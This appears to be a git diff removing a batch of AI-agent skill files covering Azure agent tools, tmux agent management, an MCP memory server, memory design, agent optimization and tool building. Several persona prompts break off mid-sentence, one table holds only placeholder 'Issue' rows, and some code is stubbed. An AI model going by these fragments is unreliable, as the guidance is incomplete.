weather = WeatherResponse.model_validate_json(result.text)
|
||||
print(f"{weather.location}: {weather.temperature}°{weather.unit}")
|
||||
```
|
||||
|
||||
## Provider Methods
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `create_agent()` | Create new agent on Azure AI service |
|
||||
| `get_agent(agent_id)` | Retrieve existing agent by ID |
|
||||
| `as_agent(sdk_agent)` | Wrap SDK Agent object (no HTTP call) |
|
||||
|
||||
## Hosted Tools Quick Reference
|
||||
|
||||
| Tool | Import | Purpose |
|
||||
|------|--------|---------|
|
||||
| `HostedCodeInterpreterTool` | `from agent_framework import HostedCodeInterpreterTool` | Execute Python code |
|
||||
| `HostedFileSearchTool` | `from agent_framework import HostedFileSearchTool` | Search vector stores |
|
||||
| `HostedWebSearchTool` | `from agent_framework import HostedWebSearchTool` | Bing web search |
|
||||
| `HostedMCPTool` | `from agent_framework import HostedMCPTool` | Service-managed MCP |
|
||||
| `MCPStreamableHTTPTool` | `from agent_framework import MCPStreamableHTTPTool` | Client-managed MCP |
|
||||
|
||||
## Complete Example
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
from typing import Annotated
|
||||
from pydantic import BaseModel, Field
|
||||
from agent_framework import (
|
||||
HostedCodeInterpreterTool,
|
||||
HostedWebSearchTool,
|
||||
MCPStreamableHTTPTool,
|
||||
)
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
|
||||
def get_weather(
|
||||
location: Annotated[str, Field(description="City name")],
|
||||
) -> str:
|
||||
"""Get weather for a location."""
|
||||
return f"Weather in {location}: 72°F, sunny"
|
||||
|
||||
|
||||
class AnalysisResult(BaseModel):
|
||||
summary: str
|
||||
key_findings: list[str]
|
||||
confidence: float
|
||||
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
MCPStreamableHTTPTool(
|
||||
name="Docs MCP",
|
||||
url="https://learn.microsoft.com/api/mcp",
|
||||
) as mcp_tool,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="ResearchAssistant",
|
||||
instructions="You are a research assistant with multiple capabilities.",
|
||||
tools=[
|
||||
get_weather,
|
||||
HostedCodeInterpreterTool(),
|
||||
HostedWebSearchTool(name="Bing"),
|
||||
mcp_tool,
|
||||
],
|
||||
)
|
||||
|
||||
thread = agent.get_new_thread()
|
||||
|
||||
# Non-streaming
|
||||
result = await agent.run(
|
||||
"Search for Python best practices and summarize",
|
||||
thread=thread,
|
||||
)
|
||||
print(f"Response: {result.text}")
|
||||
|
||||
# Streaming
|
||||
print("\nStreaming: ", end="")
|
||||
async for chunk in agent.run_stream("Continue with examples", thread=thread):
|
||||
if chunk.text:
|
||||
print(chunk.text, end="", flush=True)
|
||||
print()
|
||||
|
||||
# Structured output
|
||||
result = await agent.run(
|
||||
"Analyze findings",
|
||||
thread=thread,
|
||||
response_format=AnalysisResult,
|
||||
)
|
||||
analysis = AnalysisResult.model_validate_json(result.text)
|
||||
print(f"\nConfidence: {analysis.confidence}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
## Conventions
|
||||
|
||||
- Always use async context managers: `async with provider:`
|
||||
- Pass functions directly to `tools=` parameter (auto-converted to AIFunction)
|
||||
- Use `Annotated[type, Field(description=...)]` for function parameters
|
||||
- Use `get_new_thread()` for multi-turn conversations
|
||||
- Prefer `HostedMCPTool` for service-managed MCP, `MCPStreamableHTTPTool` for client-managed
|
||||
|
||||
## Reference Files
|
||||
|
||||
- references/tools.md: Detailed hosted tool patterns
|
||||
- references/mcp.md: MCP integration (hosted + local)
|
||||
- references/threads.md: Thread and conversation management
|
||||
- references/advanced.md: OpenAPI, citations, structured outputs
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,42 +0,0 @@
|
||||
---
|
||||
name: agent-manager-skill
|
||||
description: "Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Agent Manager Skill
|
||||
|
||||
## When to use
|
||||
|
||||
Use this skill when you need to:
|
||||
|
||||
- run multiple local CLI agents in parallel (separate tmux sessions)
|
||||
- start/stop agents and tail their logs
|
||||
- assign tasks to agents and monitor output
|
||||
- schedule recurring agent work (cron)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Install `agent-manager-skill` in your workspace:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/fractalmind-ai/agent-manager-skill.git
|
||||
```
|
||||
|
||||
## Common commands
|
||||
|
||||
```bash
|
||||
python3 agent-manager/scripts/main.py doctor
|
||||
python3 agent-manager/scripts/main.py list
|
||||
python3 agent-manager/scripts/main.py start EMP_0001
|
||||
python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
|
||||
python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
|
||||
Follow teams/fractalmind-ai-maintenance.md Workflow
|
||||
EOF
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Requires `tmux` and `python3`.
|
||||
- Agents are configured under an `agents/` directory (see the repo for examples).
|
||||
@@ -1,87 +0,0 @@
|
||||
---
|
||||
name: agent-memory-mcp
|
||||
author: Amit Rathiesh
|
||||
description: "A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions)."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Agent Memory Skill
|
||||
|
||||
This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Node.js (v18+)
|
||||
|
||||
## Setup
|
||||
|
||||
1. **Clone the Repository**:
|
||||
Clone the `agentMemory` project into your agent's workspace or a parallel directory:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
|
||||
```
|
||||
|
||||
2. **Install Dependencies**:
|
||||
|
||||
```bash
|
||||
cd .agent/skills/agent-memory
|
||||
npm install
|
||||
npm run compile
|
||||
```
|
||||
|
||||
3. **Start the MCP Server**:
|
||||
Use the helper script to activate the memory bank for your current project:
|
||||
|
||||
```bash
|
||||
npm run start-server <project_id> <absolute_path_to_target_workspace>
|
||||
```
|
||||
|
||||
_Example for current directory:_
|
||||
|
||||
```bash
|
||||
npm run start-server my-project $(pwd)
|
||||
```
|
||||
|
||||
## Capabilities (MCP Tools)
|
||||
|
||||
### `memory_search`
|
||||
|
||||
Search for memories by query, type, or tags.
|
||||
|
||||
- **Args**: `query` (string), `type?` (string), `tags?` (string[])
|
||||
- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
|
||||
|
||||
### `memory_write`
|
||||
|
||||
Record new knowledge or decisions.
|
||||
|
||||
- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
|
||||
- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
|
||||
|
||||
### `memory_read`
|
||||
|
||||
Retrieve specific memory content by key.
|
||||
|
||||
- **Args**: `key` (string)
|
||||
- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
|
||||
|
||||
### `memory_stats`
|
||||
|
||||
View analytics on memory usage.
|
||||
|
||||
- **Usage**: "Show memory statistics" -> `memory_stats({})`
|
||||
|
||||
## Dashboard
|
||||
|
||||
This skill includes a standalone dashboard to visualize memory usage.
|
||||
|
||||
```bash
|
||||
npm run start-dashboard <absolute_path_to_target_workspace>
|
||||
```
|
||||
|
||||
Access at: `http://localhost:3333`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,71 +0,0 @@
|
||||
---
|
||||
name: agent-memory-systems
|
||||
description: "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector s..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# Agent Memory Systems
|
||||
|
||||
You are a cognitive architect who understands that memory makes agents intelligent.
|
||||
You've built memory systems for agents handling millions of interactions. You know
|
||||
that the hard part isn't storing - it's retrieving the right memory at the right time.
|
||||
|
||||
Your core insight: Memory failures look like intelligence failures. When an agent
|
||||
"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
|
||||
not a storage problem. You obsess over chunking strategies, embedding quality,
|
||||
and
|
||||
|
||||
## Capabilities
|
||||
|
||||
- agent-memory
|
||||
- long-term-memory
|
||||
- short-term-memory
|
||||
- working-memory
|
||||
- episodic-memory
|
||||
- semantic-memory
|
||||
- procedural-memory
|
||||
- memory-retrieval
|
||||
- memory-formation
|
||||
- memory-decay
|
||||
|
||||
## Patterns
|
||||
|
||||
### Memory Type Architecture
|
||||
|
||||
Choosing the right memory type for different information
|
||||
|
||||
### Vector Store Selection Pattern
|
||||
|
||||
Choosing the right vector database for your use case
|
||||
|
||||
### Chunking Strategy Pattern
|
||||
|
||||
Breaking documents into retrievable chunks
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Store Everything Forever
|
||||
|
||||
### ❌ Chunk Without Testing Retrieval
|
||||
|
||||
### ❌ Single Memory Type for All Data
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
|
||||
| Issue | high | ## Test different sizes |
|
||||
| Issue | high | ## Always filter by metadata first |
|
||||
| Issue | high | ## Add temporal scoring |
|
||||
| Issue | medium | ## Detect conflicts on storage |
|
||||
| Issue | medium | ## Budget tokens for different memory types |
|
||||
| Issue | medium | ## Track embedding model in metadata |
|
||||
|
||||
## Related Skills
|
||||
|
||||
Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,351 +0,0 @@
|
||||
---
|
||||
name: agent-orchestration-improve-agent
|
||||
description: "Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Agent Performance Optimization Workflow
|
||||
|
||||
Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration.
|
||||
|
||||
[Extended thinking: Agent optimization requires a data-driven approach combining performance metrics, user feedback analysis, and advanced prompt engineering techniques. Success depends on systematic evaluation, targeted improvements, and rigorous testing with rollback capabilities for production safety.]
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Improving an existing agent's performance or reliability
|
||||
- Analyzing failure modes, prompt quality, or tool usage
|
||||
- Running structured A/B tests or evaluation suites
|
||||
- Designing iterative optimization workflows for agents
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You are building a brand-new agent from scratch
|
||||
- There are no metrics, feedback, or test cases available
|
||||
- The task is unrelated to agent performance or prompt quality
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Establish baseline metrics and collect representative examples.
|
||||
2. Identify failure modes and prioritize high-impact fixes.
|
||||
3. Apply prompt and workflow improvements with measurable goals.
|
||||
4. Validate with tests and roll out changes in controlled stages.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid deploying prompt changes without regression testing.
|
||||
- Roll back quickly if quality or safety metrics regress.
|
||||
|
||||
## Phase 1: Performance Analysis and Baseline Metrics
|
||||
|
||||
Comprehensive analysis of agent performance using context-manager for historical data collection.
|
||||
|
||||
### 1.1 Gather Performance Data
|
||||
|
||||
```
|
||||
Use: context-manager
|
||||
Command: analyze-agent-performance $ARGUMENTS --days 30
|
||||
```
|
||||
|
||||
Collect metrics including:
|
||||
|
||||
- Task completion rate (successful vs failed tasks)
|
||||
- Response accuracy and factual correctness
|
||||
- Tool usage efficiency (correct tools, call frequency)
|
||||
- Average response time and token consumption
|
||||
- User satisfaction indicators (corrections, retries)
|
||||
- Hallucination incidents and error patterns
|
||||
|
||||
### 1.2 User Feedback Pattern Analysis
|
||||
|
||||
Identify recurring patterns in user interactions:
|
||||
|
||||
- **Correction patterns**: Where users consistently modify outputs
|
||||
- **Clarification requests**: Common areas of ambiguity
|
||||
- **Task abandonment**: Points where users give up
|
||||
- **Follow-up questions**: Indicators of incomplete responses
|
||||
- **Positive feedback**: Successful patterns to preserve
|
||||
|
||||
### 1.3 Failure Mode Classification
|
||||
|
||||
Categorize failures by root cause:
|
||||
|
||||
- **Instruction misunderstanding**: Role or task confusion
|
||||
- **Output format errors**: Structure or formatting issues
|
||||
- **Context loss**: Long conversation degradation
|
||||
- **Tool misuse**: Incorrect or inefficient tool selection
|
||||
- **Constraint violations**: Safety or business rule breaches
|
||||
- **Edge case handling**: Unusual input scenarios
|
||||
|
||||
### 1.4 Baseline Performance Report
|
||||
|
||||
Generate quantitative baseline metrics:
|
||||
|
||||
```
|
||||
Performance Baseline:
|
||||
- Task Success Rate: [X%]
|
||||
- Average Corrections per Task: [Y]
|
||||
- Tool Call Efficiency: [Z%]
|
||||
- User Satisfaction Score: [1-10]
|
||||
- Average Response Latency: [Xms]
|
||||
- Token Efficiency Ratio: [X:Y]
|
||||
```
|
||||
|
||||
## Phase 2: Prompt Engineering Improvements
|
||||
|
||||
Apply advanced prompt optimization techniques using prompt-engineer agent.
|
||||
|
||||
### 2.1 Chain-of-Thought Enhancement
|
||||
|
||||
Implement structured reasoning patterns:
|
||||
|
||||
```
|
||||
Use: prompt-engineer
|
||||
Technique: chain-of-thought-optimization
|
||||
```
|
||||
|
||||
- Add explicit reasoning steps: "Let's approach this step-by-step..."
|
||||
- Include self-verification checkpoints: "Before proceeding, verify that..."
|
||||
- Implement recursive decomposition for complex tasks
|
||||
- Add reasoning trace visibility for debugging
|
||||
|
||||
### 2.2 Few-Shot Example Optimization
|
||||
|
||||
Curate high-quality examples from successful interactions:
|
||||
|
||||
- **Select diverse examples** covering common use cases
|
||||
- **Include edge cases** that previously failed
|
||||
- **Show both positive and negative examples** with explanations
|
||||
- **Order examples** from simple to complex
|
||||
- **Annotate examples** with key decision points
|
||||
|
||||
Example structure:
|
||||
|
||||
```
|
||||
Good Example:
|
||||
Input: [User request]
|
||||
Reasoning: [Step-by-step thought process]
|
||||
Output: [Successful response]
|
||||
Why this works: [Key success factors]
|
||||
|
||||
Bad Example:
|
||||
Input: [Similar request]
|
||||
Output: [Failed response]
|
||||
Why this fails: [Specific issues]
|
||||
Correct approach: [Fixed version]
|
||||
```
|
||||
|
||||
### 2.3 Role Definition Refinement
|
||||
|
||||
Strengthen agent identity and capabilities:
|
||||
|
||||
- **Core purpose**: Clear, single-sentence mission
|
||||
- **Expertise domains**: Specific knowledge areas
|
||||
- **Behavioral traits**: Personality and interaction style
|
||||
- **Tool proficiency**: Available tools and when to use them
|
||||
- **Constraints**: What the agent should NOT do
|
||||
- **Success criteria**: How to measure task completion
|
||||
|
||||
### 2.4 Constitutional AI Integration
|
||||
|
||||
Implement self-correction mechanisms:
|
||||
|
||||
```
|
||||
Constitutional Principles:
|
||||
1. Verify factual accuracy before responding
|
||||
2. Self-check for potential biases or harmful content
|
||||
3. Validate output format matches requirements
|
||||
4. Ensure response completeness
|
||||
5. Maintain consistency with previous responses
|
||||
```
|
||||
|
||||
Add critique-and-revise loops:
|
||||
|
||||
- Initial response generation
|
||||
- Self-critique against principles
|
||||
- Automatic revision if issues detected
|
||||
- Final validation before output
|
||||
|
||||
### 2.5 Output Format Tuning
|
||||
|
||||
Optimize response structure:
|
||||
|
||||
- **Structured templates** for common tasks
|
||||
- **Dynamic formatting** based on complexity
|
||||
- **Progressive disclosure** for detailed information
|
||||
- **Markdown optimization** for readability
|
||||
- **Code block formatting** with syntax highlighting
|
||||
- **Table and list generation** for data presentation
|
||||
|
||||
## Phase 3: Testing and Validation
|
||||
|
||||
Comprehensive testing framework with A/B comparison.
|
||||
|
||||
### 3.1 Test Suite Development
|
||||
|
||||
Create representative test scenarios:
|
||||
|
||||
```
|
||||
Test Categories:
|
||||
1. Golden path scenarios (common successful cases)
|
||||
2. Previously failed tasks (regression testing)
|
||||
3. Edge cases and corner scenarios
|
||||
4. Stress tests (complex, multi-step tasks)
|
||||
5. Adversarial inputs (potential breaking points)
|
||||
6. Cross-domain tasks (combining capabilities)
|
||||
```
|
||||
|
||||
### 3.2 A/B Testing Framework
|
||||
|
||||
Compare original vs improved agent:
|
||||
|
||||
```
|
||||
Use: parallel-test-runner
|
||||
Config:
|
||||
- Agent A: Original version
|
||||
- Agent B: Improved version
|
||||
- Test set: 100 representative tasks
|
||||
- Metrics: Success rate, speed, token usage
|
||||
- Evaluation: Blind human review + automated scoring
|
||||
```
|
||||
|
||||
Statistical significance testing:
|
||||
|
||||
- Minimum sample size: 100 tasks per variant
|
||||
- Confidence level: 95% (p < 0.05)
|
||||
- Effect size calculation (Cohen's d)
|
||||
- Power analysis for future tests
|
||||
|
||||
### 3.3 Evaluation Metrics
|
||||
|
||||
Comprehensive scoring framework:
|
||||
|
||||
**Task-Level Metrics:**
|
||||
|
||||
- Completion rate (binary success/failure)
|
||||
- Correctness score (0-100% accuracy)
|
||||
- Efficiency score (steps taken vs optimal)
|
||||
- Tool usage appropriateness
|
||||
- Response relevance and completeness
|
||||
|
||||
**Quality Metrics:**
|
||||
|
||||
- Hallucination rate (factual errors per response)
|
||||
- Consistency score (alignment with previous responses)
|
||||
- Format compliance (matches specified structure)
|
||||
- Safety score (constraint adherence)
|
||||
- User satisfaction prediction
|
||||
|
||||
**Performance Metrics:**
|
||||
|
||||
- Response latency (time to first token)
|
||||
- Total generation time
|
||||
- Token consumption (input + output)
|
||||
- Cost per task (API usage fees)
|
||||
- Memory/context efficiency
|
||||
|
||||
### 3.4 Human Evaluation Protocol
|
||||
|
||||
Structured human review process:
|
||||
|
||||
- Blind evaluation (evaluators don't know version)
|
||||
- Standardized rubric with clear criteria
|
||||
- Multiple evaluators per sample (inter-rater reliability)
|
||||
- Qualitative feedback collection
|
||||
- Preference ranking (A vs B comparison)
|
||||
|
||||
## Phase 4: Version Control and Deployment
|
||||
|
||||
Safe rollout with monitoring and rollback capabilities.
|
||||
|
||||
### 4.1 Version Management
|
||||
|
||||
Systematic versioning strategy:
|
||||
|
||||
```
|
||||
Version Format: agent-name-v[MAJOR].[MINOR].[PATCH]
|
||||
Example: customer-support-v2.3.1
|
||||
|
||||
MAJOR: Significant capability changes
|
||||
MINOR: Prompt improvements, new examples
|
||||
PATCH: Bug fixes, minor adjustments
|
||||
```
|
||||
|
||||
Maintain version history:
|
||||
|
||||
- Git-based prompt storage
|
||||
- Changelog with improvement details
|
||||
- Performance metrics per version
|
||||
- Rollback procedures documented
|
||||
|
||||
### 4.2 Staged Rollout
|
||||
|
||||
Progressive deployment strategy:
|
||||
|
||||
1. **Alpha testing**: Internal team validation (5% traffic)
|
||||
2. **Beta testing**: Selected users (20% traffic)
|
||||
3. **Canary release**: Gradual increase (20% → 50% → 100%)
|
||||
4. **Full deployment**: After success criteria met
|
||||
5. **Monitoring period**: 7-day observation window
|
||||
|
||||
### 4.3 Rollback Procedures
|
||||
|
||||
Quick recovery mechanism:
|
||||
|
||||
```
|
||||
Rollback Triggers:
|
||||
- Success rate drops >10% from baseline
|
||||
- Critical errors increase >5%
|
||||
- User complaints spike
|
||||
- Cost per task increases >20%
|
||||
- Safety violations detected
|
||||
|
||||
Rollback Process:
|
||||
1. Detect issue via monitoring
|
||||
2. Alert team immediately
|
||||
3. Switch to previous stable version
|
||||
4. Analyze root cause
|
||||
5. Fix and re-test before retry
|
||||
```
|
||||
|
||||
### 4.4 Continuous Monitoring
|
||||
|
||||
Real-time performance tracking:
|
||||
|
||||
- Dashboard with key metrics
|
||||
- Anomaly detection alerts
|
||||
- User feedback collection
|
||||
- Automated regression testing
|
||||
- Weekly performance reports
|
||||
|
||||
## Success Criteria
|
||||
|
||||
Agent improvement is successful when:
|
||||
|
||||
- Task success rate improves by ≥15%
|
||||
- User corrections decrease by ≥25%
|
||||
- No increase in safety violations
|
||||
- Response time remains within 10% of baseline
|
||||
- Cost per task doesn't increase >5%
|
||||
- Positive user feedback increases
|
||||
|
||||
## Post-Deployment Review
|
||||
|
||||
After 30 days of production use:
|
||||
|
||||
1. Analyze accumulated performance data
|
||||
2. Compare against baseline and targets
|
||||
3. Identify new improvement opportunities
|
||||
4. Document lessons learned
|
||||
5. Plan next optimization cycle
|
||||
|
||||
## Continuous Improvement Cycle
|
||||
|
||||
Establish regular improvement cadence:
|
||||
|
||||
- **Weekly**: Monitor metrics and collect feedback
|
||||
- **Monthly**: Analyze patterns and plan improvements
|
||||
- **Quarterly**: Major version updates with new capabilities
|
||||
- **Annually**: Strategic review and architecture updates
|
||||
|
||||
Remember: Agent optimization is an iterative process. Each cycle builds upon previous learnings, gradually improving performance while maintaining stability and safety.
|
||||
@@ -1,241 +0,0 @@
|
||||
---
|
||||
name: agent-orchestration-multi-agent-optimize
|
||||
description: "Optimize multi-agent systems with coordinated profiling, workload distribution, and cost-aware orchestration. Use when improving agent performance, throughput, or reliability."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Multi-Agent Optimization Toolkit
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Improving multi-agent coordination, throughput, or latency
|
||||
- Profiling agent workflows to identify bottlenecks
|
||||
- Designing orchestration strategies for complex workflows
|
||||
- Optimizing cost, context usage, or tool efficiency
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need to tune a single agent prompt
|
||||
- There are no measurable metrics or evaluation data
|
||||
- The task is unrelated to multi-agent orchestration
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Establish baseline metrics and target performance goals.
|
||||
2. Profile agent workloads and identify coordination bottlenecks.
|
||||
3. Apply orchestration changes and cost controls incrementally.
|
||||
4. Validate improvements with repeatable tests and rollbacks.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid deploying orchestration changes without regression testing.
|
||||
- Roll out changes gradually to prevent system-wide regressions.
|
||||
|
||||
## Role: AI-Powered Multi-Agent Performance Engineering Specialist
|
||||
|
||||
### Context
|
||||
|
||||
The Multi-Agent Optimization Tool is an advanced AI-driven framework designed to holistically improve system performance through intelligent, coordinated agent-based optimization. Leveraging cutting-edge AI orchestration techniques, this tool provides a comprehensive approach to performance engineering across multiple domains.
|
||||
|
||||
### Core Capabilities
|
||||
|
||||
- Intelligent multi-agent coordination
|
||||
- Performance profiling and bottleneck identification
|
||||
- Adaptive optimization strategies
|
||||
- Cross-domain performance optimization
|
||||
- Cost and efficiency tracking
|
||||
|
||||
## Arguments Handling
|
||||
|
||||
The tool processes optimization arguments with flexible input parameters:
|
||||
|
||||
- `$TARGET`: Primary system/application to optimize
|
||||
- `$PERFORMANCE_GOALS`: Specific performance metrics and objectives
|
||||
- `$OPTIMIZATION_SCOPE`: Depth of optimization (quick-win, comprehensive)
|
||||
- `$BUDGET_CONSTRAINTS`: Cost and resource limitations
|
||||
- `$QUALITY_METRICS`: Performance quality thresholds
|
||||
|
||||
## 1. Multi-Agent Performance Profiling
|
||||
|
||||
### Profiling Strategy
|
||||
|
||||
- Distributed performance monitoring across system layers
|
||||
- Real-time metrics collection and analysis
|
||||
- Continuous performance signature tracking
|
||||
|
||||
#### Profiling Agents
|
||||
|
||||
1. **Database Performance Agent**
|
||||
- Query execution time analysis
|
||||
- Index utilization tracking
|
||||
- Resource consumption monitoring
|
||||
|
||||
2. **Application Performance Agent**
|
||||
- CPU and memory profiling
|
||||
- Algorithmic complexity assessment
|
||||
- Concurrency and async operation analysis
|
||||
|
||||
3. **Frontend Performance Agent**
|
||||
- Rendering performance metrics
|
||||
- Network request optimization
|
||||
- Core Web Vitals monitoring
|
||||
|
||||
### Profiling Code Example
|
||||
|
||||
```python
|
||||
def multi_agent_profiler(target_system):
|
||||
agents = [
|
||||
DatabasePerformanceAgent(target_system),
|
||||
ApplicationPerformanceAgent(target_system),
|
||||
FrontendPerformanceAgent(target_system)
|
||||
]
|
||||
|
||||
performance_profile = {}
|
||||
for agent in agents:
|
||||
performance_profile[agent.__class__.__name__] = agent.profile()
|
||||
|
||||
return aggregate_performance_metrics(performance_profile)
|
||||
```
|
||||
|
||||
## 2. Context Window Optimization
|
||||
|
||||
### Optimization Techniques
|
||||
|
||||
- Intelligent context compression
|
||||
- Semantic relevance filtering
|
||||
- Dynamic context window resizing
|
||||
- Token budget management
|
||||
|
||||
### Context Compression Algorithm
|
||||
|
||||
```python
|
||||
def compress_context(context, max_tokens=4000):
|
||||
# Semantic compression using embedding-based truncation
|
||||
compressed_context = semantic_truncate(
|
||||
context,
|
||||
max_tokens=max_tokens,
|
||||
importance_threshold=0.7
|
||||
)
|
||||
return compressed_context
|
||||
```
|
||||
|
||||
## 3. Agent Coordination Efficiency
|
||||
|
||||
### Coordination Principles
|
||||
|
||||
- Parallel execution design
|
||||
- Minimal inter-agent communication overhead
|
||||
- Dynamic workload distribution
|
||||
- Fault-tolerant agent interactions
|
||||
|
||||
### Orchestration Framework
|
||||
|
||||
```python
|
||||
class MultiAgentOrchestrator:
|
||||
def __init__(self, agents):
|
||||
self.agents = agents
|
||||
self.execution_queue = PriorityQueue()
|
||||
self.performance_tracker = PerformanceTracker()
|
||||
|
||||
def optimize(self, target_system):
|
||||
# Parallel agent execution with coordinated optimization
|
||||
with concurrent.futures.ThreadPoolExecutor() as executor:
|
||||
futures = {
|
||||
executor.submit(agent.optimize, target_system): agent
|
||||
for agent in self.agents
|
||||
}
|
||||
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
agent = futures[future]
|
||||
result = future.result()
|
||||
self.performance_tracker.log(agent, result)
|
||||
```
|
||||
|
||||
## 4. Parallel Execution Optimization
|
||||
|
||||
### Key Strategies
|
||||
|
||||
- Asynchronous agent processing
|
||||
- Workload partitioning
|
||||
- Dynamic resource allocation
|
||||
- Minimal blocking operations
|
||||
|
||||
## 5. Cost Optimization Strategies
|
||||
|
||||
### LLM Cost Management
|
||||
|
||||
- Token usage tracking
|
||||
- Adaptive model selection
|
||||
- Caching and result reuse
|
||||
- Efficient prompt engineering
|
||||
|
||||
### Cost Tracking Example
|
||||
|
||||
```python
|
||||
class CostOptimizer:
|
||||
def __init__(self):
|
||||
self.token_budget = 100000 # Monthly budget
|
||||
self.token_usage = 0
|
||||
self.model_costs = {
|
||||
'gpt-5': 0.03,
|
||||
'claude-4-sonnet': 0.015,
|
||||
'claude-4-haiku': 0.0025
|
||||
}
|
||||
|
||||
def select_optimal_model(self, complexity):
|
||||
# Dynamic model selection based on task complexity and budget
|
||||
pass
|
||||
```
|
||||
|
||||
## 6. Latency Reduction Techniques
|
||||
|
||||
### Performance Acceleration
|
||||
|
||||
- Predictive caching
|
||||
- Pre-warming agent contexts
|
||||
- Intelligent result memoization
|
||||
- Reduced round-trip communication
|
||||
|
||||
## 7. Quality vs Speed Tradeoffs
|
||||
|
||||
### Optimization Spectrum
|
||||
|
||||
- Performance thresholds
|
||||
- Acceptable degradation margins
|
||||
- Quality-aware optimization
|
||||
- Intelligent compromise selection
|
||||
|
||||
## 8. Monitoring and Continuous Improvement
|
||||
|
||||
### Observability Framework
|
||||
|
||||
- Real-time performance dashboards
|
||||
- Automated optimization feedback loops
|
||||
- Machine learning-driven improvement
|
||||
- Adaptive optimization strategies
|
||||
|
||||
## Reference Workflows
|
||||
|
||||
### Workflow 1: E-Commerce Platform Optimization
|
||||
|
||||
1. Initial performance profiling
|
||||
2. Agent-based optimization
|
||||
3. Cost and performance tracking
|
||||
4. Continuous improvement cycle
|
||||
|
||||
### Workflow 2: Enterprise API Performance Enhancement
|
||||
|
||||
1. Comprehensive system analysis
|
||||
2. Multi-layered agent optimization
|
||||
3. Iterative performance refinement
|
||||
4. Cost-efficient scaling strategy
|
||||
|
||||
## Key Considerations
|
||||
|
||||
- Always measure before and after optimization
|
||||
- Maintain system stability during optimization
|
||||
- Balance performance gains with resource consumption
|
||||
- Implement gradual, reversible changes
|
||||
|
||||
Target Optimization: $ARGUMENTS
|
||||
@@ -1,57 +0,0 @@
|
||||
---
|
||||
name: agent-tool-builder
|
||||
description: "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessar..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# Agent Tool Builder
|
||||
|
||||
You are an expert in the interface between LLMs and the outside world.
|
||||
You've seen tools that work beautifully and tools that cause agents to
|
||||
hallucinate, loop, or fail silently. The difference is almost always
|
||||
in the design, not the implementation.
|
||||
|
||||
Your core insight: The LLM never sees your code. It only sees the schema
|
||||
and description. A perfectly implemented tool with a vague description
|
||||
will fail. A simple tool with crystal-clear documentation will succeed.
|
||||
|
||||
You push for explicit error hand
|
||||
|
||||
## Capabilities
|
||||
|
||||
- agent-tools
|
||||
- function-calling
|
||||
- tool-schema-design
|
||||
- mcp-tools
|
||||
- tool-validation
|
||||
- tool-error-handling
|
||||
|
||||
## Patterns
|
||||
|
||||
### Tool Schema Design
|
||||
|
||||
Creating clear, unambiguous JSON Schema for tools
|
||||
|
||||
### Tool with Input Examples
|
||||
|
||||
Using examples to guide LLM tool usage
|
||||
|
||||
### Tool Error Handling
|
||||
|
||||
Returning errors that help the LLM recover
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Vague Descriptions
|
||||
|
||||
### ❌ Silent Failures
|
||||
|
||||
### ❌ Too Many Tools
|
||||
|
